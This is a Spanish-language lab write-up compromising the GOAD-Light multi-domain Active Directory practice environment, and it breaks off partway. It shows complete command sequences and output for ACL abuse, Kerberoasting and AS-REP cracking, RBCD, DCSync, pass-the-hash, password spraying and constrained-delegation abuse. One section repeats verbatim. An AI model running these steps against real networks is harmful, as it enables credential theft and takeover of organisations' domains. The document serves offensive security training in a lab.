AVILX
LABORATORIO OFENSIVO · ACTIVE DIRECTORY · 2026
GOAD-Light
Enumeración y Explotación de Active Directory Multi-Dominio
Documentación técnica del compromiso del laboratorio GOAD-Light: enumeración multi-dominio, ataques Kerberos, abuso de ACLs, MSSQL y escalada a Domain Admin.
| Autor | Jesus Avila (Avilx) |
| Plataforma | GOAD-Light (Orange Cyberdefense) |
| Dominios | sevenkingdoms.local / north.sevenkingdoms.local |
| Entorno | VMware · BlackArch Linux |
| Fecha | 10 de Agosto 2026 |
| Portafolio | avilx.dev |
Documentación de aprendizaje ofensivo | Entorno de laboratorio autorizado
Introducción
Contexto del Laboratorio
GOAD-Light (Game of Active Directory Light) es un entorno de práctica ofensiva desarrollado por Orange Cyberdefense que extiende el concepto de GOAD-Mini hacia una topología multi-dominio. A diferencia de GOAD-Mini, que consiste en un único Domain Controller, GOAD-Light incorpora tres máquinas distribuidas en dos dominios con relación de confianza, replicando con mayor fidelidad el escenario de un pentest corporativo real.
Partiendo con credenciales iniciales del dominio
sevenkingdoms.local, el objetivo es comprometer ambos dominios encadenando técnicas de enumeración, abuso de ACLs, ataques Kerberos y explotación de servicios expuestos.Objetivos
-
Enumerar la topología multi-dominio y mapear las relaciones de confianza entre dominios.
-
Comprometer
sevenkingdoms.localreutilizando la cadena de ACLs documentada en GOAD-Mini. -
Identificar y explotar vectores de ataque en
north.sevenkingdoms.local. -
Documentar cada paso con contexto técnico para uso en portafolio profesional.
Topología del Laboratorio
| Hostname | IP | SO | Rol | Dominio |
|---|---|---|---|---|
DC01 (KINGSLANDING) | 192.168.56.10 | Windows Server 2019 | Domain C. | sevenkingdoms.local |
DC02 (WINTERFELL) | 192.168.56.11 | Windows Server 2019 | Domain C. | north.sevenkingdoms.local |
SRV02 (CASTELBLACK) | 192.168.56.22 | Windows Server 2019 | Member Server | north.sevenkingdoms.local |
*Atacante* | 192.168.56.1 | BlackArch Linux | Máquina atacante | -- |
Infraestructura y Entorno de Trabajo
Arquitectura del Laboratorio
GOAD-Light es el segundo laboratorio de la suite Game of Active Directory de Orange Cyberdefense. Consta de tres máquinas Windows Server 2019 distribuidas en dos dominios: sevenkingdoms.local con DC01 como controlador principal, y north.sevenkingdoms.local con DC02 como controlador secundario y SRV02 como servidor miembro. El despliegue se realiza mediante Vagrant sobre VMware Workstation, gestionado a través del script goad.sh.
Configuración de Red
Verificación de Despliegue
Durante la instalación fue necesario aplicar dos correcciones manuales: el rol DNS de DC02 se instaló mediante
evil-winrm con credenciales vagrant:vagrant, y el directorio de SSMS en SRV02 se creó manualmente para evitar un error de dependencia del aprovisionamiento de Ansible.Usuarios del Dominio – sevenkingdoms.local
| Usuario | Grupo | Observación |
|---|---|---|
administrator | Domain Admins | Cuenta de administrador principal |
cersei.lannister | LANNISTERS / Domain Admins | Domain Admin de SEVENKINGDOMS |
robert.baratheon | BARATHEON / Domain Admins | Domain Admin de SEVENKINGDOMS |
tywin.lannister | LANNISTERS | ACL: ForceChangePassword sobre jaime.lannister |
jaime.lannister | LANNISTERS | ACL: GenericWrite sobre joffrey.baratheon |
tyron.lannister | LANNISTERS | ACL: Self-membership sobre Small Council |
joffrey.baratheon | BARATHEON | ACL: WriteDACL sobre tyron.lannister |
renly.baratheon | BARATHEON | -- |
stannis.baratheon | BARATHEON | ACL: GenericAll sobre KINGSLANDING$ |
petyr.baelish | SMALL COUNCIL | ACL: WriteProperty sobre Domain Admins |
lord.varys | SMALL COUNCIL / AcrossTheNarrowSea | ACL: GenericAll sobre Domain Admins |
maester.pycelle | SMALL COUNCIL | ACL: WriteOwner sobre Domain Admins |
Usuarios del Dominio – north.sevenkingdoms.local
| Usuario | Grupo | Observación |
|---|---|---|
administrator | Domain Admins | Cuenta de administrador principal |
eddard.stark | STARK | ACL: GenericAll sobre CASTELBLACK$ |
robb.stark | STARK | -- |
sansa.stark | STARK | -- |
arya.stark | STARK | -- |
brandon.stark | STARK | -- |
rickon.stark | STARK | -- |
hodor | STARK | -- |
catelyn.stark | STARK | -- |
jon.snow | NIGHT WATCH | ACL: ForceChangePassword sobre samwell.tarly |
samwell.tarly | NIGHT WATCH | -- |
jeor.mormont | NIGHT WATCH | ACL: GenericWrite sobre jon.snow |
sql_svc | -- | Cuenta de servicio MSSQL en CASTELBLACK |
Reconocimiento Inicial
Ping Sweep – Hosts Activos
sudo nmap -sn 192.168.56.0/24
Nmap scan report for kingslanding.sevenkingdoms.local (192.168.56.10)
MAC Address: 00:0C:29:C4:3E:7E (VMware)
Nmap scan report for 192.168.56.11
MAC Address: 00:0C:29:98:9F:14 (VMware)
Nmap scan report for 192.168.56.22
MAC Address: 00:0C:29:F4:A5:08 (VMware)
La dirección 192.168.56.10 fue reconocida automáticamente como
sevenkingdoms.local debido a que el laboratorio GOAD-Mini había sido resuelto previamente y la entrada ya se encontraba registrada en el archivo /etc/hosts.Escaneo de Puertos – Nmap
DC01 – 192.168.56.10 (KINGSLANDING)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
80/tcp open http syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
5986/tcp open wsmans syn-ack ttl 128
9389/tcp open adws syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
DC02 – 192.168.56.11 (WINTERFELL)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
5986/tcp open wsmans syn-ack ttl 128
9389/tcp open adws syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
SRV02 – 192.168.56.22 (CASTELBLACK)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
1433/tcp open ms-sql-s syn-ack ttl 128
3389/tcp open ms-wbt-server syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
5986/tcp open wsmans syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
Tanto DC01 como DC02 exponen un conjunto de puertos prácticamente idéntico, correspondiente al perfil estándar de un controlador de dominio Windows. La excepción notable es el puerto 80/tcp, presente únicamente en DC01 y SRV02. Por su parte, SRV02 presenta una superficie de ataque reducida al no exponer servicios Kerberos ni LDAP, pero incorpora el puerto 1433/tcp (Microsoft SQL Server), ausente en los controladores de dominio.
Identificación de Dominios
# Dominio sevenkingdoms.local
nmblookup -A 192.168.56.10
Looking up status of 192.168.56.10
KINGSLANDING <00> - M <ACTIVE>
SEVENKINGDOMS <00> - <GROUP> M <ACTIVE>
SEVENKINGDOMS <1c> - <GROUP> M <ACTIVE>
KINGSLANDING <20> - M <ACTIVE>
SEVENKINGDOMS <1b> - M <ACTIVE>
# Dominio north.sevenkingdoms.local (DC02)
nmblookup -A 192.168.56.11
Looking up status of 192.168.56.11
WINTERFELL <00> - M <ACTIVE>
NORTH <00> - <GROUP> M <ACTIVE>
NORTH <1c> - <GROUP> M <ACTIVE>
NORTH <1b> - M <ACTIVE>
WINTERFELL <20> - M <ACTIVE>
# Dominio north.sevenkingdoms.local (SRV02)
nmblookup -A 192.168.56.22
Looking up status of 192.168.56.22
CASTELBLACK <00> - M <ACTIVE>
NORTH <00> - <GROUP> M <ACTIVE>
CASTELBLACK <20> - M <ACTIVE>
El análisis NetBIOS permitió confirmar la topología de dominios del laboratorio: SEVENKINGDOMS con DC01 (KINGSLANDING) como controlador principal, y NORTH con DC02 (WINTERFELL) como controlador del dominio
north.sevenkingdoms.local, al cual pertenece también SRV02 (CASTELBLACK). El dominio sevenkingdoms.local fue comprometido en su totalidad durante el laboratorio GOAD-Mini; el dominio north.sevenkingdoms.local constituye el objetivo de explotación en esta fase.Dominio sevenkingdoms.local
El dominio
sevenkingdoms.local fue comprometido previamente durante el laboratorio GOAD-Mini. En GOAD-Light se replica la misma cadena de ACLs sobre la misma infraestructura. Esta sección documenta la ejecución de forma resumida; la documentación detallada de cada técnica se encuentra en el writeup de GOAD-Mini.Cadena de ACLs – sevenkingdoms.local
| Origen | ACL / Vector | Destino |
|---|---|---|
tywin.lannister | ForceChangePassword | jaime.lannister |
jaime.lannister | GenericWrite | joffrey.baratheon (Targeted Kerberoasting) |
joffrey.baratheon | WriteDACL | tyron.lannister |
tyron.lannister | Self-Membership | Small Council |
Small Council | AddMember | DragonStone |
DragonStone | WriteOwner | KingsGuard |
KingsGuard | GenericAll | stannis.baratheon |
stannis.baratheon | GenericAll | DC01 (KINGSLANDING$) |
DC01 | RBCD / DCSync | Domain Admin |
Ejecución de la Cadena
ForceChangePassword: tywin → jaime
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tywin.lannister -p powerkingftw135 \
-H kingslanding.sevenkingdoms.local \
set password jaime.lannister 'NewPassword123!'
[+] Password changed successfully!
tywin.lannister posee ForceChangePassword sobre jaime.lannister. Contraseña modificada a NewPassword123! sin conocer la contraseña original.GenericWrite: jaime → joffrey (Targeted Kerberoasting)
# Registro del SPN temporal en joffrey.baratheon
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u jaime.lannister -p 'NewPassword123!' \
-H kingslanding.sevenkingdoms.local \
set object joffrey.baratheon servicePrincipalName \
-v 'fake/kingslanding.sevenkingdoms.local'
[+] joffrey.baratheon's servicePrincipalName has been updated
# Verificacion del SPN registrado
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10
ServicePrincipalName Name
------------------------------------- -----------------
fake/kingslanding.sevenkingdoms.local joffrey.baratheon
# Solicitud del hash TGS -- Targeted Kerberoasting
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast.txt -debug
[-] CCache file is not found. Skipping...
[+] Trying to connect to KDC at 192.168.56.10:88
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$...[hash]
# Crackeo del hash con Hashcat
hashcat -m 13100 kerberoast.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
...:1killerlion
Status: Cracked
jaime.lannister posee GenericWrite sobre joffrey.baratheon, lo que permite registrar un SPN arbitrario y convertir la cuenta en objetivo de Targeted Kerberoasting. Hash TGS crackeado en 2 segundos. Credencial obtenida: joffrey.baratheon:1killerlion.WriteDACL: joffrey → tyron
dacledit.py sevenkingdoms.local/joffrey.baratheon:1killerlion \
-dc-ip 192.168.56.10 \
-principal joffrey.baratheon \
-target tyron.lannister \
-ace-type allowed \
-action write \
-rights FullControl
[*] DACL backed up to dacledit-20260809-082934.bak
[*] DACL modified successfully!
joffrey.baratheon posee WriteDACL sobre tyron.lannister. Se modifica la DACL del objeto para otorgarse FullControl (GenericAll efectivo), habilitando el cambio de contraseña en el paso siguiente.Self-Membership: tyron → Small Council
# Paso 1 -- ForceChangePassword derivado de GenericAll sobre tyron
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u joffrey.baratheon -p 1killerlion \
-H kingslanding.sevenkingdoms.local \
set password tyron.lannister 'Newpasswd'
[+] Password changed successfully!
# Paso 2 -- Self-Membership: tyron se agrega a Small Council
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'Small Council' tyron.lannister
[+] tyron.lannister added to Small Council
joffrey.baratheon abusa de GenericAll heredado para cambiar la contraseña de tyron.lannister. Con credenciales válidas, tyron.lannister explota su permiso Self-Membership para agregarse al grupo Small Council, heredando el permiso AddMember sobre DragonStone.AddMember: Small Council → DragonStone
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'DragonStone' tyron.lannister
[+] tyron.lannister added to DragonStone
Como miembro de Small Council,
tyron.lannister hereda AddMember sobre DragonStone y se agrega al grupo, heredando el permiso WriteOwner sobre KingsGuard.WriteOwner: DragonStone → KingsGuard
# Paso 1 -- Cambiar propietario de KingsGuard
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
set owner KingsGuard tyron.lannister
[+] Old owner S-1-5-21-192275561-2566161430-2385015979-1000
is now replaced by tyron.lannister on KingsGuard
# Paso 2 -- Otorgarse FullControl sobre KingsGuard via WriteDACL implicito
dacledit.py sevenkingdoms.local/tyron.lannister:'Newpasswd' \
-dc-ip 192.168.56.10 \
-principal tyron.lannister \
-target KingsGuard \
-ace-type allowed \
-action write \
-rights FullControl
[*] DACL modified successfully!
# Paso 3 -- Agregarse al grupo KingsGuard
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
add groupMember KingsGuard tyron.lannister
[+] tyron.lannister added to KingsGuard
WriteOwner permite tomar propiedad del grupo KingsGuard. El propietario obtiene WriteDACL implícito sobre el objeto, lo que permite otorgarse FullControl y agregarse como miembro.
tyron.lannister hereda GenericAll sobre stannis.baratheon.GenericAll: KingsGuard → stannis
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'Newpasswd' \
-H kingslanding.sevenkingdoms.local \
set password stannis.baratheon 'NewPassword789!'
[+] Password changed successfully!
El grupo KingsGuard posee GenericAll sobre
stannis.baratheon. Se cambia su contraseña para obtener credenciales válidas. stannis.baratheon posee GenericAll sobre el objeto computadora KINGSLANDING$, abriendo el vector RBCD.RBCD: stannis → DC01
# Paso 1 -- Crear cuenta de computadora falsa
addcomputer.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-dc-ip 192.168.56.10
[*] Successfully added machine account EVILPC$ with password EvilPass123!.
# Paso 2 -- Configurar RBCD en KINGSLANDING$
rbcd.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-dc-ip 192.168.56.10 \
-action write \
-delegate-to 'KINGSLANDING$' \
-delegate-from 'EVILPC$'
[*] Delegation rights modified successfully!
# Paso 3 -- Solicitar ticket impersonando a Administrator (S4U2Proxy)
getST.py sevenkingdoms.local/'EVILPC$':'EvilPass123!' \
-dc-ip 192.168.56.10 \
-spn cifs/kingslanding.sevenkingdoms.local \
-impersonate Administrator
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local
@SEVENKINGDOMS.LOCAL.ccache
# Paso 4 -- Exportar ticket y ejecutar DCSync
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
GenericAll sobre
KINGSLANDING$ permite configurar RBCD. Mediante S4U2Proxy se obtiene un ticket Kerberos impersonando a Administrator para el servicio cifs/kingslanding.sevenkingdoms.local. DCSync ejecutado exitosamente via DRSUAPI sin subir archivos al DC, evadiendo Windows Defender. Hash NTLM del Administrator: c66d72021a2d4744409969a581a1705e.Acceso como Administrator – sevenkingdoms.local
evil-winrm -i 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
sevenkingdoms\administrator
*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
kingslanding
Acceso interactivo obtenido como
sevenkingdoms\administrator en KINGSLANDING mediante Pass-the-Hash via WinRM. Dominio SEVENKINGDOMS.LOCAL comprometido en su totalidad. Hash del Administrator: c66d72021a2d4744409969a581a1705e.Enumeración de AD – north.sevenkingdoms.local
Identificacion de Trust
Dado que se contaba con acceso como
Administrator en el dominio sevenkingdoms.local, el primer paso antes de enumerar el directorio activo del dominio norte fue determinar si existía una relación de confianza (trust) entre ambos dominios.netexec ldap 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e --dc-list
[+] sevenkingdoms.local\Administrator (Pwn3d!)
kingslanding.sevenkingdoms.local = 192.168.56.10
[+] Found DC in trusted domain: winterfell.north.sevenkingdoms.local
north.sevenkingdoms.local -> Bidirectional -> Within Forest
winterfell.north.sevenkingdoms.local = 192.168.56.11
Se confirmó la existencia de un trust bidireccional intra-forest entre sevenkingdoms.local y north.sevenkingdoms.local. Al pertenecer ambos dominios al mismo Active Directory Forest, el trust es transitivo por defecto, lo que abre la posibilidad de autenticar usuarios de sevenkingdoms.local contra recursos del dominio north.sevenkingdoms.local y viceversa.
Usuarios y Grupos
Confirmada la existencia del trust bidireccional intra-forest, se procedió a enumerar los usuarios del dominio north.sevenkingdoms.local con el objetivo de identificar información sensible en los campos de descripción de las cuentas.
El primer intento especificó
-d north.sevenkingdoms.local, asumiendo que el parámetro indicaba el dominio a enumerar. WINTERFELL interpretó la solicitud como una autenticación local y devolvió STATUS_LOGON_FAILURE porque el hash de Administrator de sevenkingdoms.local no corresponde a ninguna cuenta local del dominio norte.netexec smb 192.168.56.11 -u Administrator \
-H c66d72021a2d4744409969a581a1705e \
-d north.sevenkingdoms.local --users
[-] north.sevenkingdoms.local\Administrator STATUS_LOGON_FAILURE
El parámetro
-d no indica el dominio a enumerar sino el dominio de origen de la cuenta que realiza la autenticación. Al especificar -d sevenkingdoms.local, WINTERFELL valida las credenciales contra KINGSLANDING a través del trust y, una vez autenticado, permite enumerar los recursos del dominio norte.netexec smb 192.168.56.11 -u Administrator \
-H c66d72021a2d4744409969a581a1705e \
-d sevenkingdoms.local --users
| Usuario | Último cambio PW | Descripción |
|---|---|---|
Administrator | 2026-08-06 22:13:01 | Built-in account for administering the computer/domain |
Guest | never | Built-in account for guest access to the computer/domain |
krbtgt | 2026-08-06 22:25:29 | Key Distribution Center Service Account |
vagrant | 2021-05-12 11:39:16 | Vagrant User |
arya.stark | 2026-08-07 06:48:56 | Arya Stark |
eddard.stark | 2026-08-07 06:48:58 | Eddard Stark |
catelyn.stark | 2026-08-07 06:49:00 | Catelyn Stark |
robb.stark | 2026-08-07 06:49:03 | Robb Stark |
sansa.stark | 2026-08-07 06:49:05 | Sansa Stark |
brandon.stark | 2026-08-07 06:49:07 | Brandon Stark |
rickon.stark | 2026-08-07 06:49:09 | Rickon Stark |
hodor | 2026-08-07 06:49:11 | Brainless Giant |
jon.snow | 2026-08-07 06:49:13 | Jon Snow |
samwell.tarly | 2026-08-07 06:49:16 | Samwell Tarly (Password : Heartsbane) |
jeor.mormont | 2026-08-07 06:49:18 | Jeor Mormont |
sql_svc | 2026-08-07 06:49:20 | sql service |
Se identificó una credencial en texto plano en el campo de descripción de la cuenta
samwell.tarly, con la contraseña Heartsbane. Este es un error de configuración común en entornos mal administrados. Se procederá a validar las credenciales y, de ser correctas, ejecutar una recopilación de BloodHound para identificar posibles rutas de escalada o movimiento lateral en el dominio north.sevenkingdoms.local.netexec smb 192.168.56.11 -u samwell.tarly \
-p Heartsbane \
-d north.sevenkingdoms.local
[+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
Las credenciales
samwell.tarly:Heartsbane fueron validadas exitosamente contra el dominio north.sevenkingdoms.local. La enumeración de grupos via SMB fue rechazada ya que netexec trasladó esa funcionalidad al protocolo LDAP.BloodHound – Grafo del Dominio
Con credenciales válidas del dominio norte se procederá a recolectar todos los objetos del dominio mediante
bloodhound-python, con el objetivo de construir un grafo de ataque e identificar rutas de escalada de privilegios o movimiento lateral desde samwell.tarly hacia cuentas con mayores privilegios.bloodhound-python -u samwell.tarly -p Heartsbane \
-dc winterfell.north.sevenkingdoms.local \
-d north.sevenkingdoms.local -c All \
-ns 192.168.56.11
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to GC LDAP server: winterfell.north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users
INFO: Found 51 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: castelblack.north.sevenkingdoms.local
INFO: Querying computer: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 01S
La recoleccion de objetos del dominio north.sevenkingdoms.local fue exitosa. Se identificaron 17 usuarios, 51 grupos, 2 computadoras (
CASTELBLACK y WINTERFELL), 3 GPOs y 1 trust. Los datos fueron importados a BloodHound CE para análisis visual. La query Shortest Paths to Domain Admins no arrojó rutas directas desde samwell.tarly, sin embargo se identificó que la cuenta posee WriteOwner sobre la GPO STARKWALLPAPER, lo que representa un vector de ataque potencial a investigar.
Enumeración de Grupos Específicos
netexec ldap 192.168.56.11 -u samwell.tarly \
-p Heartsbane -d north.sevenkingdoms.local \
--group "Domain Admins"
Administrator
eddard.stark
netexec ldap 192.168.56.11 -u samwell.tarly \
-p Heartsbane -d north.sevenkingdoms.local \
--group "Night Watch"
jon.snow
samwell.tarly
jeor.mormont
| Grupo | Miembros | Relevancia |
|---|---|---|
Domain Admins | Administrator, eddard.stark | Objetivo final |
Night Watch | jon.snow, samwell.tarly, jeor.mormont | Grupo al que pertenece la cuenta actual |
Stark | 9 miembros | Grupo personalizado del lab |
Mormont | 1 miembro | Grupo personalizado del lab |
AcrossTheSea | 0 miembros | Posible nodo intermedio en cadena ACL |
eddard.stark es Domain Admin del dominio norte junto con Administrator. La cuenta actual samwell.tarly pertenece al grupo Night Watch junto con jon.snow y jeor.mormont. El grupo AcrossTheSea aparece vacío pero representa un posible nodo intermedio en la cadena de ACLs del dominio, similar a los grupos DragonStone y KingsGuard en sevenkingdoms.local.User-as-Password via Kerbrute
Se evaluó si alguna cuenta tenía configurada su propio nombre de usuario como contraseña, práctica común en entornos mal administrados.
kerbrute passwordspray --user-as-pass users.txt -d north.sevenkingdoms.local \
--dc 192.168.56.11
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 08/10/26 - Ronnie Flathers @ropnop
2026/08/10 05:30:43 > Using KDC(s):
2026/08/10 05:30:43 > 192.168.56.11:88
2026/08/10 05:30:43 > [+] VALID LOGIN: hodor@north.sevenkingdoms.local:hodor
2026/08/10 05:30:43 > Done! Tested 13 logins (1 successes) in 0.029 seconds
Se identificó que la cuenta
hodor tiene configurada su propio nombre de usuario como contraseña. Esta práctica constituye una debilidad crítica de seguridad ya que cualquier atacante con la lista de usuarios del dominio puede obtener acceso sin necesidad de crackear ningún hash. Credencial obtenida: hodor:hodor.hodor pertenece al grupo Stark, que a su vez es miembro de Remote Desktop Users en el dominio north.sevenkingdoms.local. Esta membresía heredada habilita acceso interactivo via RDP al DC02 (WINTERFELL) con las credenciales obtenidas.
AS-REP Roasting
Con las credenciales obtenidas se evaluó si alguna cuenta del dominio tenía deshabilitada la preautenticación Kerberos (
UF_DONT_REQUIRE_PREAUTH), condición que permite solicitar un hash AS-REP crackeable offline sin conocer la contraseña de la cuenta.GetNPUsers.py north.sevenkingdoms.local/hodor:hodor \
-dc-ip 192.168.56.11 \
-request \
-format hashcat \
-outputfile asrep.txt
Name MemberOf PasswordLastSet
------------- ------------- --------------------------
brandon.stark CN=Stark,... 2026-08-07 06:49:07
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:
730b58fa04f3a515cbbdf06d70d71362$...[hash truncado]
Crackeo del Hash
hashcat -m 18200 asrep.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:
730b58fa04f3a515cbbdf06d70d71362$...[hash truncado]
...:iseedeadpeople
Status: Cracked
La cuenta
brandon.stark tenía deshabilitada la preautenticación Kerberos. El hash AS-REP fue crackeado exitosamente con rockyou.txt. Credencial obtenida: brandon.stark:iseedeadpeople. Se procederá a enumerar el dominio con estas credenciales para identificar rutas de escalada adicionales.Kerberoasting
Durante la enumeración inicial se identificó la cuenta
sql_svc, lo que sugirió la existencia de un servicio MSSQL activo en CASTELBLACK. A diferencia del Targeted Kerberoasting ejecutado en sevenkingdoms.local, donde el SPN fue registrado manualmente mediante GenericWrite, en este caso el SPN ya existe porque el servicio está en ejecución. Cualquier usuario autenticado en el dominio puede solicitar el ticket TGS directamente.GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople \
-dc-ip 192.168.56.11 \
-request \
-outputfile kerberoast_north.txt
| SPN | Cuenta | Delegación |
|---|---|---|
HTTP/eyrie.north.sevenkingdoms.local | sansa.stark | -- |
CIFS/winterfell.north.sevenkingdoms.local | jon.snow | Constrained |
HTTP/thewall.north.sevenkingdoms.local | jon.snow | Constrained |
MSSQLSvc/castelblack.north.sevenkingdoms.local | sql_svc | -- |
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433 | sql_svc | -- |
La enumeración de SPNs reveló tres hallazgos de interés. Primero,
sql_svc tiene dos SPNs de MSSQL registrados en CASTELBLACK, convirtiéndola en objetivo directo de Kerberoasting. Segundo, jon.snow tiene configurada delegación constrained, que permite a un servicio suplantar la identidad de un usuario ante servicios específicos, siendo un vector crítico en entornos AD. Tercero, sansa.stark tiene un SPN HTTP registrado que representa un vector adicional a evaluar.Cracking de Hashes de las SPNs
hashcat -m 13100 kerberoast_north.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$...[hash truncado]....
:iknownothing
Status: Cracked
Ataques – north.sevenkingdoms.local
Delegación Constrained – jon.snow
Con las credenciales obtenidas de
jon.snow:iknownothing, se procedió a verificar los servicios configurados en su delegación constrained para determinar el alcance del vector de ataque.bloodyad -d north.sevenkingdoms.local -i 192.168.56.11 \
-u jon.snow -p iknownothing \
get object jon.snow --attr msds-allowedtodelegateto
distinguishedName: CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
msDS-AllowedToDelegateTo: CIFS/winterfell
CIFS/winterfell.north.sevenkingdoms.local
jon.snow tiene Constrained Delegation configurada hacia el servicio CIFS de WINTERFELL, que es el propio Domain Controller del dominio norte. Esto permite a jon.snow impersonar a cualquier usuario del dominio, incluyendo Administrator, ante el servicio CIFS del DC mediante el mecanismo S4U2Proxy, representando un vector crítico de escalada de privilegios.
Constrained Delegation – S4U2Proxy
Al confirmar que
jon.snow posee AllowedToDelegate sobre WINTERFELL, se procedió a explotar la delegación constrained mediante el mecanismo S4U2Proxy. Aunque jon.snow solo tiene CIFS/winterfell configurado en su atributo de delegación, Windows únicamente verifica el hostname del ticket y no el nombre del servicio, lo que permite sustituir CIFS por LDAP en el ticket resultante y ejecutar un ataque DCSync directamente sin necesidad de acceder al sistema de archivos del DC.getST.py north.sevenkingdoms.local/jon.snow:iknownothing \
-spn CIFS/winterfell.north.sevenkingdoms.local \
-impersonate Administrator \
-dc-ip 192.168.56.11
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms
.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
Ticket TGS obtenido exitosamente impersonando a
Administrator mediante S4U2Proxy. El ticket fue guardado en el archivo ccache correspondiente y será exportado para ejecutar DCSync sobre el dominio north.sevenkingdoms.local.DCSync
Constrained Delegation – S4U2Proxy
Al confirmar que
jon.snow posee AllowedToDelegate sobre WINTERFELL, se procedió a explotar la delegación constrained mediante el mecanismo S4U2Proxy. Aunque jon.snow solo tiene CIFS/winterfell configurado en su atributo de delegación, Windows únicamente verifica el hostname del ticket y no el nombre del servicio, lo que permite sustituir CIFS por LDAP en el ticket resultante y ejecutar un ataque DCSync directamente sin necesidad de acceder al sistema de archivos del DC.getST.py north.sevenkingdoms.local/jon.snow:iknownothing \
-spn CIFS/winterfell.north.sevenkingdoms.local \
-impersonate Administrator \
-dc-ip 192.168.56.11
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms
.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
Ticket TGS obtenido exitosamente impersonando a
Administrator mediante S4U2Proxy.DCSync – Intentos Fallidos
